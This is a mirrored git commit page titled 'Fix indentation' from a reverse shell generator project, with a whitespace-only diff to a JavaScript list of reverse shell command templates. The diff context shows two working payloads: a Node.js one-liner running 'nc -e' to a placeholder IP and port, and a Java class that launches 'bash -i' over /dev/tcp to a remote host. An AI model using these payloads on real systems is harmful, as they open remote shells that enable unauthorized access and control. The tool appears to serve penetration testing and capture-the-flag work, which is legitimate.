mirror of
https://github.com/0dayCTF/reverse-shell-generator.git
synced 2025-01-18 17:05:26 +00:00
Fix indentation
This commit is contained in:
parent
b64401b980
commit
ab01c7e45e
@ -248,7 +248,7 @@ const reverseShellCommands = withCommandType(
|
||||
"command": "require('child_process').exec('nc -e {shell} {ip} {port}')",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
{
|
||||
"name": "Java #1",
|
||||
"command": "public class shell {\n public static void main(String[] args) {\n Process p;\n try {\n p = Runtime.getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/{ip}/{port} 0>&1\");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}",
|
||||
"meta": ["linux", "mac"]
|
||||
|
Loading…
Reference in New Issue
Block a user